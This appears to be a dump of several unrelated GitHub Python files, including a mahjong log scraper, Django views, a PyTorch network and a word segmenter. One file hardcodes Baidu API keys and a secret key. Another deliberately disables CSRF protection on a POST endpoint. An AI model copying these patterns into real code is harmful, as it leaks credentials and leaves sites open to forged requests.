+{"seq_id":"25392421971","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n天鳳のスクレイピング\n\"\"\"\nimport os, sys, time\nimport xml.etree.ElementTree as ET\nimport urllib.request\nimport gzip\nimport json\n\nimport requests\nimport bs4\nfrom train import TrainData\nfrom mj2 import Pai\n\n\nclass TenhoDownloader:\n    xml_dir = \"xml_dir\"\n    gz_dir = \"gz_dir\"\n    if not os.path.isdir(xml_dir):\n        os.mkdir(xml_dir)\n        os.mkdir(gz_dir)\n\n    @classmethod\n    def get_haihu_name(cls, old=False):\n        \"\"\"gzファイルのリストを取得\n        \"\"\"\n        url = \"http://tenhou.net/sc/raw/list.cgi\"\n        if old:\n            url = \"http://tenhou.net/sc/raw/list.cgi?old\"\n        souce_url = \"http://tenhou.net/sc/raw/dat/\"\n        response = urllib.request.urlopen(url)\n        data = response.read()\n        data_list = json.loads(data.decode(\"utf-8\").replace(\"file\",'\"file\"').replace(\"size\",'\"size\"').replace(\"\\r\\n\", \"\").replace(\"'\", '\"')[5:-2])\n        distillation_data_list = [souce_url + i[\"file\"] for i in data_list if \"scc\" in i[\"file\"]]\n        return distillation_data_list\n\n    @classmethod\n    def download_file(cls, url, filename=None):\n        if not filename:\n            filename = os.path.join(cls.gz_dir, url.split('/')[-1])\n        r = requests.get(url, stream=True)\n        with open(filename, 'wb') as f:\n            for chunk in r.iter_content(chunk_size=1024):\n                if chunk:\n                    f.write(chunk)\n                    f.flush()\n            return filename\n        return False\n\n    @classmethod\n    def gz_extract(cls, filename):\n        with gzip.open(filename, \"rb\") as f:\n            content = f.read()\n        return content\n\n    @classmethod\n    def haihu_html_list(cls, html):\n        soup = bs4.BeautifulSoup(html, \"lxml\")\n        return [i[\"href\"].replace(\"/?log=\", \"/log/?\") for i in soup.p.find_all(\"a\")]\n\n    @classmethod\n    def get_xml(cls, url, save_name=None):\n        \"\"\"urlを渡すとデータを持ってくる\n        \"\"\"\n        response = requests.get(url)\n        data = response.content\n        data = ET.fromstring(data)\n        if not save_name is None:\n            tree = ET.ElementTree(data)\n            tree.write(save_name)\n        return data\n\n    @classmethod\n    def get_all(cls):\n        h = \"html\"\n        dir_list = [i for i in os.listdir(h) if i[0] != \".\"]\n        for year in dir_list[6:]:\n            if not os.path.exists(os.path.join(cls.xml_dir, year)):\n                os.mkdir(os.path.join(cls.xml_dir, year))\n            html_list = [i for i in os.listdir(os.path.join(h, year)) if i[0] != \".\"]\n            for html in html_list:\n                haihu_list = open(os.path.join(h, year, html)).read()\n                if haihu_list:\n                    haihu_list = cls.haihu_html_list(haihu_list)\n                    for url in haihu_list:\n                        sys.stderr.write(\"\\ryear={}, html={}, url={}\".format(year, html, url))\n                        sys.stdout.flush()\n                        save_name = os.path.join(cls.xml_dir, year, url.split(\"/\")[-1][1:])+\".xml\"\n                        if os.path.exists(save_name):\n                            continue\n                        try:\n                            a = cls.get_xml(url, save_name)\n                            #time.sleep(10)\n                        except urllib.error.URLError as e:\n                            print(e.reason)\n                        except ET.ParseError as e:\n                            print(e)\n                            with open(\"error.log\",\"a\") as f:\n                                f.write(url+\"\\n\")\n                                #time.sleep(5)\n\n    def get_old(cls):\n        finished_list = os.listdir(\"html/2016\")\n        haihu_list = cls.get_haihu_name(True)\n        for haihu_gz_url in haihu_list:\n            sys.stderr.write(\"\\rurl={}\".format(haihu_gz_url))\n            sys.stdout.flush()\n            if haihu_gz_url[-19:-3] not in finished_list:\n                haihu_gz = download_file(haihu_gz_url)\n                html_str = gz_extract(haihu_gz)\n                with open(\"html/2016/\"+haihu_gz[7:-3],\"wb\") as f:\n                    f.write(html_str)\n","repo_name":"ninhydrin/marjan","sub_path":"xml_majan.py","file_name":"xml_majan.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36358309004","text":"from __future__ import unicode_literals\n\nimport textwrap\n\nfrom . import Member, Society, RESTRICTED\n\n\ndef summarise_member(member):\n    \"\"\"\n    Returns a str summarising `member`\n\n    Contains the member's details (name, crsid, email, status, join date,\n    societies) in human-readable form.\n    \"\"\"\n\n    if member.societies:\n        socs = [\"Societies:\"] + _pretty_name_list((s.description, s.society) for s in member.societies)\n    else:\n        socs = [\"No society memberships.\"]\n\n    private = []\n    if not RESTRICTED:\n        private = ([member.email or '<no email>',\n                    'Mail handler: %s' % member.mail_handler,\n                    'Member: %s' % member.member,\n                    'User: %s' % member.user,\n                    'Joined: %s' % member.joined.strftime(\"%Y/%m\"),\n                    'UID: %s' % member.uid,\n                    'GID: %s' % member.gid,\n                    'Disk quota: %s/%s GB (updated: %s)' % (\n                        member.disk_usage_gb, member.disk_quota_gb, member.disk_usage_updated\n                    ),\n                    'Contactable: %s' % member.contactable,\n                    'Danger: %s' % member.danger] +\n                   _format_notes(member.notes) +\n                   _format_domains(member.domains))\n\n    lines = (\n        ['%s (%s)' % (member.name or '<no name>', member.crsid)] +\n        private +\n        socs\n    )\n\n    return \"\\n\".join(lines)\n\n\ndef summarise_society(society):\n    \"\"\"Returns a str summarising `society`\"\"\"\n    if society.admins:\n        admins = [\"Admins:\"] + _pretty_name_list((u.name, u.crsid) for u in society.admins)\n    else:\n        admins = ['Orphaned (no admins).']\n\n    private = []\n    if not RESTRICTED:\n        if society.role_email:\n            private.append('Role email: %s' % society.role_email)\n        else:\n            private.append('No role email.')\n        private += (\n            [\n                'Joined: %s' % society.joined.strftime(\"%Y/%m\"),\n                'UID: %s' % society.uid,\n                'GID: %s' % society.gid,\n                'Disk quota: %s/%s GB (updated: %s)' % (\n                    society.disk_usage_gb, society.disk_quota_gb, society.disk_usage_updated\n                ),\n                'Danger: %s' % society.danger\n            ] +\n            _format_notes(society.notes) +\n            _format_domains(society.domains)\n        )\n\n    lines = (\n        ['%s: %s' % (society.society, society.description)] +\n        private +\n        admins\n    )\n\n    return \"\\n\".join(lines)\n\n\ndef summarise(thing):\n    if isinstance(thing, Society):\n        return summarise_society(thing)\n\n    if isinstance(thing, Member):\n        return summarise_member(thing)\n\n    try:\n        return \"\\n\".join(_pretty_thing_list(thing))\n    except TypeError:\n        pass\n\n    return str(thing)\n\n\ndef _pretty_thing_list(things):\n    def f(thing):\n        if isinstance(thing, Society):\n            return thing.description, thing.society\n        elif isinstance(thing, Member):\n            return thing.name or '<no name>', thing.crsid\n        else:\n            raise TypeError(\"things should contain Societies and Members\")\n\n    return _pretty_name_list(map(f, things))\n\n\ndef _pretty_name_list(names):\n    \"\"\"\n    Given a list of (a,b) pairs, output aligned columns with the\n    items of the second column parenthised.\n\n    Used for pretty-printing e.g. name (crsid) or socname (socid) lists.\n    \"\"\"\n    # might be given an iterator, need a list, might as well sort it\n    nameList = sorted(names)\n    try:\n        maxlen = max(len(col1) for (col1, col2) in nameList)\n    except ValueError:  # empty sequence\n        return ''\n\n    return ['  %-*s  (%s)' % (maxlen, col1, col2)\n            for (col1, col2) in nameList]\n\n\ndef _format_notes(notes):\n    s = []\n    if notes:\n        tw = textwrap.TextWrapper(width=70, initial_indent='  ', subsequent_indent='  ')\n        s.append(\"Notes:\")\n        for line in notes.splitlines():\n            s += tw.wrap(line)\n    return s\n\n\ndef _format_domains(domains):\n    s = []\n    if domains:\n        s.append(\"Domains:\")\n        for d in domains:\n            line = \"  \" + d.domain\n            if d.wild:\n                line += \" (wild)\"\n            if d.root:\n                line += \" @ \" + d.root\n            s.append(line)\n    return s\n","repo_name":"SRCF/srcf-python","sub_path":"srcf/database/summarise.py","file_name":"summarise.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10554032088","text":"#使用时import baidu_aip，调用其中的voice_recognize函数，将自动录音并识别，返回值为识别结果\r\nfrom aip import AipSpeech\r\nimport wav2pcm,record,time\r\n\"\"\" 你的 APPID AK SK \"\"\"\r\nAPP_ID = '15455261'\r\nAPI_KEY = 'piT7Qtn8InOVVwuIdfhLY4gI'\r\nSECRET_KEY = 'obKt3CYfGOh7duezfqiBG2pFRZta255L'\r\n\r\nclient = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\r\n# 读取文件\r\ndef get_file_content(filePath):\r\n    with open(filePath, 'rb') as fp:\r\n        return fp.read()\r\ndef voice_recognize():\r\n\r\n\r\n    record.rec('test1.wav')  #生成录音\r\n\r\n    time_start = time.time()  #计时开始\r\n    pcm_file = wav2pcm.wav_to_pcm('test1.wav')  #将wav转成pcm\r\n\r\n    # 识别本地文件\r\n    result=client.asr(get_file_content(pcm_file), 'pcm', 16000, {\r\n        'dev_pid': 1536,\r\n    })\r\n    if(result.get(\"err_no\")==0):\r\n        time_end=time.time()  #计时结束\r\n        res_str = '识别结果：%s,耗时%.2fs'%(result.get(\"result\")[0],(time_end-time_start)) #截取结果\r\n        wav2pcm.deletef(pcm_file)  #将此次识别的pcm文件删除\r\n\r\n    else:\r\n        res_str=\"识别失败\"\r\n        wav2pcm.deletef(pcm_file)  #将此次识别的pcm文件删除\r\n    return result.get(\"result\")[0]\r\n","repo_name":"dreamlullaby/CryptologyExp","sub_path":"baidu_aip.py","file_name":"baidu_aip.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"11305053186","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom mscv import padding_forward\nfrom torchvision import models\n\nclass Vgg19(torch.nn.Module):\n    def __init__(self, requires_grad=False):\n        super(Vgg19, self).__init__()\n        self.vgg_pretrained_features = models.vgg19(pretrained=True).features\n        if not requires_grad:\n            for param in self.parameters():\n                param.requires_grad = False\n\n    def forward(self, X, indices=None):\n        if indices is None:\n            indices = [2, 7, 12, 21, 30]\n        out = []\n        for i in range(indices[-1]):\n            X = self.vgg_pretrained_features[i](X)\n            if (i + 1) in indices:\n                out.append(X)\n\n        return out\n\n\n\n\nclass ConvLayer(torch.nn.Sequential):\n    def __init__(self, conv, in_channels, out_channels, kernel_size, stride, padding=None, dilation=1, norm=None,\n                 act=None):\n        super(ConvLayer, self).__init__()\n        padding = padding or dilation * (kernel_size - 1) // 2\n        self.add_module('conv2d', conv(in_channels, out_channels, kernel_size, stride, padding, dilation=dilation))\n        if norm is not None:\n            self.add_module('norm', norm(out_channels))\n            # self.add_module('norm', norm(out_channels, track_running_stats=True))\n        if act is not None:\n            self.add_module('act', act)\n\n\nclass ChannelPool(nn.Module):\n    def forward(self, x):\n        return torch.cat((torch.max(x, 1)[0].unsqueeze(1), torch.mean(x, 1).unsqueeze(1)), dim=1)\n\n\nclass SpatialGate(nn.Module):\n    def __init__(self):\n        super(SpatialGate, self).__init__()\n        kernel_size = 7\n        self.compress = ChannelPool()\n        self.spatial = nn.Conv2d(2, 1, kernel_size=kernel_size, stride=1, padding=(kernel_size - 1) // 2)\n\n    def forward(self, x):\n        x_compress = self.compress(x)\n        x_out = self.spatial(x_compress)\n        scale = torch.sigmoid(x_out)\n        return x * scale\n\n\n#\n\n\nclass Grid(nn.Module): ##convolutional-grid \n    def __init__(self, n_feats):\n        super(Grid, self).__init__()\n        conv = nn.Conv2d\n        act = nn.ReLU(True)\n        norm = None\n        self.n_feats = n_feats\n        self.conv1 = ConvLayer(conv=conv, in_channels=n_feats, out_channels=n_feats,\n                               kernel_size=3, stride=1, norm=norm, act=act)\n        self.conv2 = ConvLayer(conv=conv, in_channels=n_feats, out_channels=n_feats,\n                               kernel_size=5, stride=1, norm=norm, act=act)\n        self.conv3 = ConvLayer(conv=conv, in_channels=n_feats, out_channels=n_feats,\n                               kernel_size=7, stride=1, norm=norm, act=act)\n\n        self.ca = nn.Sequential(*[\n            nn.AdaptiveAvgPool2d(1),\n            nn.Conv2d(n_feats * 3, n_feats // 16, 1, padding=0),\n            nn.ReLU(inplace=True),\n            nn.Conv2d(n_feats // 16, n_feats * 3, 1, padding=0, bias=True),\n            nn.Sigmoid()\n        ])\n\n    def forward(self, x):\n        input1 = x\n        input2 = x\n        input3 = x\n        g1 = self.conv1(input1)\n        g2 = self.conv1(g1) + self.conv2(input2)\n        g3 = self.conv1(g2) + self.conv3(input3)\n\n        w = self.ca(torch.cat([g1, g2, g3], dim=1))\n        w = w.view(-1, 3, self.n_feats)[:, :, :, None, None]\n        out = w[:, 0, ::] * g1 + w[:, 1, ::] * g2 + w[:, 2, ::] * g3\n        return out + x\n\n\n\ndef default_conv(in_channels, out_channels, kernel_size, bias=True):\n    return nn.Conv2d(\n        in_channels, out_channels, kernel_size,\n        padding=(kernel_size // 2), bias=bias).cuda()\n\n\nclass MultiScalePyramid(torch.nn.Module):\n    def __init__(self, n_feats=256):\n        super(MultiScalePyramid, self).__init__()\n        self.sptial = SpatialGate()\n        self.conv = Grid(n_feats)\n        self.down = nn.MaxPool2d((2, 2))\n        self.up = nn.UpsamplingBilinear2d(scale_factor=2)\n\n    @padding_forward(8)\n    def forward(self, x):\n        X_0A = x\n        X_1A = self.conv(self.down(X_0A))\n        X_2A = self.conv(self.down(X_1A))\n        X_3A = self.conv(self.down(X_2A))\n\n        X_3D = X_3A\n        #\n        X_2D = self.conv(X_2A + self.up(X_3D))\n        X_1D = self.conv(X_1A + self.up(X_2D))\n        X_0D = self.conv(X_0A + self.up(X_1D))\n\n        output = self.sptial(X_0D)\n        return output\n\n\n#\n\n\nclass Net(torch.nn.Module):\n    def __init__(self, in_channels=3, n_feats=256, norm=None,\n                 bottom_kernel_size=3):\n        super(Net, self).__init__()\n        # Initial convolution layers\n        conv = nn.Conv2d\n        deconv = nn.ConvTranspose2d\n        act = nn.ReLU(True)\n        self.VGG = Vgg19(requires_grad=False)\n\n        self.conv1 = ConvLayer(conv, in_channels, n_feats, kernel_size=bottom_kernel_size, stride=1, norm=None, act=act)\n        self.VGGconv1 = ConvLayer(conv, 1472, n_feats, kernel_size=bottom_kernel_size, stride=1, norm=None, act=act)\n        self.conv2 = ConvLayer(conv, n_feats * 2, n_feats * 2, kernel_size=3, stride=2, norm=norm, act=act)\n        self.VGGconv2 = ConvLayer(conv, n_feats, n_feats, kernel_size=3, stride=2, norm=norm, act=act)\n        self.conv3 = ConvLayer(conv, n_feats * 3, n_feats * 3, kernel_size=3, stride=2, norm=norm, act=act)\n        self.VGGconv3 = ConvLayer(conv, n_feats, n_feats, kernel_size=3, stride=2, norm=norm, act=act)\n        self.conv_last = ConvLayer(conv, n_feats * 4, n_feats, kernel_size=1, stride=1, norm=norm, act=act)\n        self.MSP = nn.Sequential(*[MultiScalePyramid() for _ in range(1)])\n        self.deconv1 = ConvLayer(deconv, n_feats, n_feats, kernel_size=4, stride=2, norm=None, act=act, padding=1)\n        self.deconv2 = ConvLayer(deconv, n_feats, n_feats, kernel_size=4, stride=2, norm=None, act=act, padding=1)\n        self.deconv3 = ConvLayer(deconv, n_feats, 3, kernel_size=3, stride=1, norm=None, act=act, padding=1)\n\n    def forward(self, x):\n        _, C, H, W = x.shape\n        VGG_features_raw = self.VGG(x)\n\n        VGG_features_resize = [F.interpolate(feature.detach(), size=(H, W), mode='bilinear', align_corners=False) for\n                               feature in\n                               VGG_features_raw]\n        VGG_features = torch.cat(VGG_features_resize, 1)\n\n        VGG_1 = self.VGGconv1(VGG_features)\n        x1 = self.conv1(x)\n        X_VGG_1 = torch.cat((VGG_1, x1), dim=1)  # channels = 512\n\n        VGG_2 = self.VGGconv2(VGG_1)\n        x2 = self.conv2(X_VGG_1)\n        X_VGG_2 = torch.cat((VGG_2, x2), dim=1)\n\n        VGG_3 = self.VGGconv3(VGG_2)\n        x3 = self.conv3(X_VGG_2)\n        X_VGG_3 = torch.cat((VGG_3, x3), dim=1)\n        X_MSP_input = self.conv_last(X_VGG_3)\n        x_MSP = self.MSP(X_MSP_input)\n\n        y1 = self.deconv1(x_MSP)\n        y2 = self.deconv2(y1)\n        y3 = self.deconv3(y2)\n        return y3\n","repo_name":"learningyan/reflection_removal_tcsvt","sub_path":"framework.py","file_name":"framework.py","file_ext":"py","file_size_in_byte":6768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6711641563","text":"from django.shortcuts import get_object_or_404, render\nfrom django.views import generic\nfrom django.utils import timezone\nfrom django.urls import reverse_lazy\n\nfrom .models import News, Work\n\n# クラスベースビューの書き方について\n# https://docs.djangoproject.com/ja/2.1/topics/class-based-views/\n\n\n# トップページのビュー\nclass IndexTemplateView(generic.TemplateView):\n  template_name = 'main/index.html'  # テンプレートのアドレス\n\n  # テンプレートに送信するデータの編集\n  def get_context_data(self, **kwargs):\n    news_len = 5  # Newsの表示件数\n    work_len = 4  # Workの表示件数\n    work_years = Work.objects.values_list('published_at__year', flat=True).order_by('-published_at__year').distinct()\n    work_years_len = 3  # Workの表示年数\n    if len(work_years)<work_years_len:\n      work_years_len = len(work_years)\n    context = {\n      'news_list': News.objects.filter(published_at__lt=timezone.now(), is_draft=False)[:news_len],\n      'work_list': [ Work.objects.filter(published_at__lt=timezone.now(), published_at__year=year)[:work_len] for year in work_years[:work_years_len] ]  # 内包表記でワンライナーを極めよう！（白目）\n    }\n    return context\n\n\n# ページネーションで表示する数値のリストを作成する関数\ndef get_paginate_range(context):\n  num = 5  # 表示する数値の数（5以上はoverflow不可避）\n  if context['paginator'].num_pages <= num:\n    return context['paginator'].page_range\n  else:\n    range = [context['page_obj'].number]\n    i = 1\n    while len(range) < num :\n      if 1 <= context['page_obj'].number-i :\n        range.insert(0, context['page_obj'].number-i)\n      if context['page_obj'].number+i <= context['paginator'].num_pages :\n        range.append(context['page_obj'].number+i)\n      i+=1\n    return range\n\n\n# ニュース一覧ページのビュー\nclass NewsListView(generic.ListView):\n  model = News  # ビューで使用するモデル\n  context_object_name = 'news_list'  # データベースから取得したデータの変数名\n  allow_empty = False  # データがないとき404ページを表示\n  paginate_by = 10  # 1ページの表示件数\n\n  # データベースから取得するデータの編集\n  def get_queryset(self):\n    return super().get_queryset().filter(published_at__lt=timezone.now(), is_draft=False)\n\n  def get_context_data(self, **kwargs):\n    context = super().get_context_data(**kwargs)\n    range = get_paginate_range(context)  # 他に良い方法があれば書き換えてください…\n    context.update({\n      'title': 'NEWS (最新情報)',  # ページタイトル\n      # 'description': '何かあれば',  # ページの説明\n      # 'image': '何かあれば',  # ogイメージ\n      'range': range,\n    })\n    return context\n\n\n# ニュース詳細ページのビュー\nclass NewsDetailView(generic.DetailView):\n  model = News\n\n  def get_queryset(self):\n    return super().get_queryset().filter(published_at__lt=timezone.now(), is_draft=False)\n\n  def get_context_data(self, **kwargs):\n    context = super().get_context_data(**kwargs)\n    title = context['news'].title\n    description = context['news'].description.replace('\\n','').replace('\\r','')\n    image = context['news'].image.url if context['news'].image else None\n    context.update({\n      'title': title,\n      'description': description,\n      'image': image,\n    })\n    return context\n\n# AMP版ニュース詳細ページのビュー\nclass NewsAMPDetailView(NewsDetailView):\n  template_name = \"main/news_amp.html\"  # テンプレートを変更する以外は継承（オブジェクト指向）\n\n\n# ワークス最新の一覧ページへのリダイレクトビュー\nclass WorkRedirectView(generic.RedirectView):\n  latest = Work.objects.latest('published_at').published_at.year\n  url = reverse_lazy('main:work_list', kwargs={'year': latest})\n\n\n# ワークス一覧ページのビュー\nclass WorkListView(generic.ListView):\n  model = Work\n  context_object_name = 'work_list'\n  allow_empty = False\n\n  def get_queryset(self):\n    return super().get_queryset().filter(published_at__lt=timezone.now(), published_at__year=self.kwargs['year']).order_by('published_at')\n\n  def get_context_data(self, **kwargs):\n    context = super().get_context_data(**kwargs)\n    context.update({\n      'title': 'WORKS (制作実績)',\n      # 'description': '何かあれば',\n      # 'image': '何かあれば',\n      'gettable_work_years': Work.objects.values_list('published_at__year', flat=True).order_by('-published_at__year').distinct(),\n      'year_displayed': self.kwargs['year'],\n    })\n    return context\n\n\n# 404ページのビュー\nclass Custom404TemplateView(generic.TemplateView):\n  template_name = 'main/404.html'\n\n  def get_context_data(self, **kwargs):\n    context = {\n      'title': 'お探しのページが見つかりませんでした。',\n      # 'description': '何かあれば',\n      # 'image': '何かあれば',\n    }\n    return context\n\n  # ステータスコードの変更\n  def get(self, request, *args, **kwargs):\n    context = self.get_context_data(**kwargs)\n    return self.render_to_response(context, status=404)\n","repo_name":"Tomo-9925/mcs3-demo","sub_path":"django/code/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8286273318","text":"\n\nimport json\nimport time\n\nfrom django.views import View\nfrom django.urls import reverse\nfrom django.utils.datastructures import MultiValueDictKeyError\nfrom django.http import HttpResponse, HttpResponseBadRequest, HttpResponseRedirect\nfrom django.template import loader\n\nfrom ..forms import PostureForm\nfrom ..controller import Controller\n\n# For the sake of simplicity, in this test I will deactivate the CSRF protection for this test. In real production\n# Cross Site Request Forgery Protection should be used.\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass PostureView(View):\n    \"\"\"\n        View that allows to add and retrieve postures\n    \"\"\"\n\n    @staticmethod\n    def check_valid_body(body):\n        \"\"\"\n            Checks that the input body contains the specified format. That is,\n\n             - A posture name,\n             - an url of the yoga picture,\n             - a textual description,\n             - the name of an existent user\n             - (Optional) time for posture id hashing\n\n             IMPLEMENTATION NOTE: THIS IS THE TYPICAL PLACE TO CHECK THE CORRECTNESS OF THE INPUTS, ASSURING THAT THE\n             INPUT DATA MATCHES THE DATA MODEL REQUIREMENTS (TYPES, STRING LENGTH, ETC). IN ORDER TO KEEP THIS TEST\n             SIMPLE I WILL NOT INCLUDE IT BUT IT SHOULD BE ADDED IN A REAL IMPLEMENTATION.\n\n        :return: (dict/None) The info of the properly specified body using the specified format; None otherwise.\n\n            {\n                \"name\": <posture_name>,\n                \"picture\": <picture>,\n                \"description\": <description>\n                \"user\": <user_name>\n                [\"now\": <timestamp>]\n            }\n\n            with:\n\n                    <posture_name>: (str) Posture name.\n                    <picture>: (str) Url of the yoga picture.\n                    <description>: (str) A textual description of the yoga posture.\n                    <user_name> : (str) User name.\n                    <timestamp> : (int) Timestamp (in seconds)\n        \"\"\"\n        result = None\n        message = \"\"\n\n        try:\n            body = json.loads(body)\n            result = {\"name\": str(body[\"name\"]),\n                      \"picture\": str(body[\"picture\"]),\n                      \"description\": str(body[\"description\"]),\n                      \"user\": str(body[\"user\"]),\n                      }\n\n            result[\"now\"] = body[\"now\"]\n\n        except json.decoder.JSONDecodeError:\n            message = {\"error\": \"Bad Body. It must be a JSON\"}\n\n        except TypeError:\n            message = {\"error\": \"Bad Body. Expected json with 'name', 'picture', 'description', and 'user' fields\"}\n\n        except ValueError:\n            message = {\"error\": \"Bad Body. All input fields must be strings\"}\n\n        except KeyError as e:\n            if len(e.args) == 1 and e.args[0] == \"now\":\n                # ASSUMPTION: ALL MANDATORY FIELDS CHECKED (CODE CHALLENGE SIMPLIFICATION)\n                # Optional \"now\" field not included\n                pass\n            else:\n                message = {\"error\": \"Bad Body. Expected json with 'name', 'picture', 'description', and 'user' fields\"}\n\n        return result, message\n\n    @staticmethod\n    def is_json_result(request):\n        \"\"\"\n            Tells whether it is requested a json result or not.\n\n        :param request: HTTP request\n        :return: (bool) True if JSON result expected; False otherwise.\n        \"\"\"\n        try:\n            json_result = request.GET['json']\n            result = bool(json_result)\n        except MultiValueDictKeyError:\n            result = False\n\n        return result\n\n    @staticmethod\n    def get_time(request_info):\n        \"\"\"\n            Retrieves a timestamp.\n\n        :param request_info: (dict) The info of the properly specified body using the specified format; None otherwise.\n            (see self.check_valid_body return value).\n        :return: (int) UNIX Timestamp (in seconds)\n        \"\"\"\n        try:\n            result = request_info[\"now\"]\n        except KeyError:\n            result = int(time.time())\n\n        return result\n\n    def post(self, request):\n        \"\"\"\n            Adds a new posture to the system.\n\n        :param request: HTTP request\n        :return: HTTP response\n        \"\"\"\n        if self.is_json_result(request):\n            #\n            # JSON API MANAGEMENT\n            #\n            result = False\n            request_info, message = self.check_valid_body(request.body.decode())\n\n            if request_info:\n                controller = Controller()\n                if controller.is_valid_user(request_info[\"user\"]):\n                    # Get hash time\n                    now = self.get_time(request_info)\n\n                    # Create a unique hash for the new posture\n                    request_info[\"id\"] = controller.create_posture_hash(request_info, now)\n                    new_posture = controller.add_posture(request_info, request_info[\"user\"])\n\n                    if new_posture:\n                        # New user created\n                        result = True\n                        message = json.dumps({\"id\": request_info[\"id\"]})\n                    else:\n                        # Could not create new posture\n                        pass\n\n                else:\n                    # Unknown user\n                    message = {\"error\": \"Unknown user\"}\n\n            else:\n                # Bad parameters\n                pass\n\n            if result:\n                return HttpResponse(message)\n            else:\n                return HttpResponseBadRequest(json.dumps(message))\n\n        else:\n            #\n            # HTML TEMPLATE VIEW\n            #\n\n            # Create a form instance and populate it with data from the request:\n            form = PostureForm(request.POST)\n\n            # check whether it's valid:\n            if form.is_valid():\n                # Create the new posture\n                request_info = form.cleaned_data\n\n                # Get hash time\n                now = self.get_time(request_info)\n\n                controller = Controller()\n\n                # Create a unique hash for the new posture\n                request_info[\"user\"] = request.user.username\n                request_info[\"id\"] = controller.create_posture_hash(request_info, now)\n\n                # Add the new posture\n                controller.add_posture(request_info, request.user.username)\n\n                # redirect to a new URL\n                return HttpResponseRedirect(reverse('posture_get_all'))\n\n    def get(self, request):\n        \"\"\"\n            Allows to Add/Edit a single posture.\n\n        :param request: HTTP request\n        :return: HTTP response\n        \"\"\"\n        # Responsive response\n        if not self.is_json_result(request):\n            # HTML TEMPLATE VIEW\n            form = PostureForm()\n            template = loader.get_template('yoga/posture/add.html')\n            context = {\n                'form': form,\n            }\n            return HttpResponse(template.render(context, request))\n","repo_name":"carmeloacosta/FS-coding-challenge","sub_path":"yoga/yoga/views/posture.py","file_name":"posture.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31320380167","text":"# _*_ coding:utf-8 _*_\ndef mmcut(sentence, wordsdict, RMM=True):\n    \"\"\"\n    Func: Implemented the forward Maximum Match anc Reverse Maximum Match\n    Para:\n        sentence: The String to be segmented\n        wordsdict: Dictionary\n        RMM: Whether use the Reverse Maximum Match Method\n    \"\"\"\n    result = []\n    len_of_sentence = len(sentence)\n    if not RMM: # 最大正向匹配\n        while len_of_sentence > 0:\n            word = sentence\n            len_of_word = len(word)\n            while len_of_word > 0:\n                if word in wordsdict or len_of_word == 1:\n                    result.append(word)\n                    sentence = sentence[len_of_word:]\n                    break\n                else:\n                    word = word[:len_of_word-1]\n                len_of_word -= 1\n            len_of_sentence = len(sentence)\n    else: # 最大反向匹配\n        while len_of_sentence > 0:\n            word = sentence\n            len_of_word = len(word)\n            while len_of_word > 0:\n                if word in wordsdict or len_of_word == 1:\n                    result.append(word)\n                    sentence = sentence[:len_of_sentence-len_of_word]\n                    break\n                else:\n                    word = word[1:]\n                len_of_word -= 1\n            len_of_sentence = len(sentence)\n    return result\n\nif __name__ == \"__main__\":\n    wordsdict = {'我们':5, '经常':2, '有':5, '有意见':3, '意见':4, '分歧':3}\n    result = mmcut('我们经常有意见分歧', wordsdict, RMM=True)\n    print('ok')","repo_name":"wangjiaqiys/tensorflow2.0","sub_path":"wordSegment/forward_max_matching.py","file_name":"forward_max_matching.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17353461694","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('search/', views.search),\n    path('', views.get_products),\n    path('get/<slug:slug>/', views.get_product),\n    path('get/admin/<int:id>/', views.get_product_admin),\n    path('post/', views.create_product),\n    path('edit/<int:pk>/', views.edit_product),\n    path('delete/<int:pk>/', views.delete_product),\n    path('cate/<str:category>/', views.get_prod_by_cate),\n\n    path('review/<int:pk>/', views.create_review),\n]\n","repo_name":"agustfricke/ShopZone","sub_path":"ShopZone/products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"16"}
+{"seq_id":"20620985954","text":"import sys\ninput = sys.stdin.readline\nG = int(input())\nP = int(input())\nparent = [i for i in range(G + 1)]\nplanes = list(int(input()) for _ in range(P))\n\ndef find(x):\n    if parent[x] == x: return x\n    parent[x] = find(parent[x])\n    return parent[x]\n\nans = 0\nfor plane in planes:\n    docking = find(plane)\n    if docking == 0: break\n    parent[docking] = parent[docking - 1]\n    ans += 1\nprint(ans)\n\n#ref https://mygumi.tistory.com/246\n","repo_name":"DaeHyupp/Baekjoon","sub_path":"10775.py","file_name":"10775.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
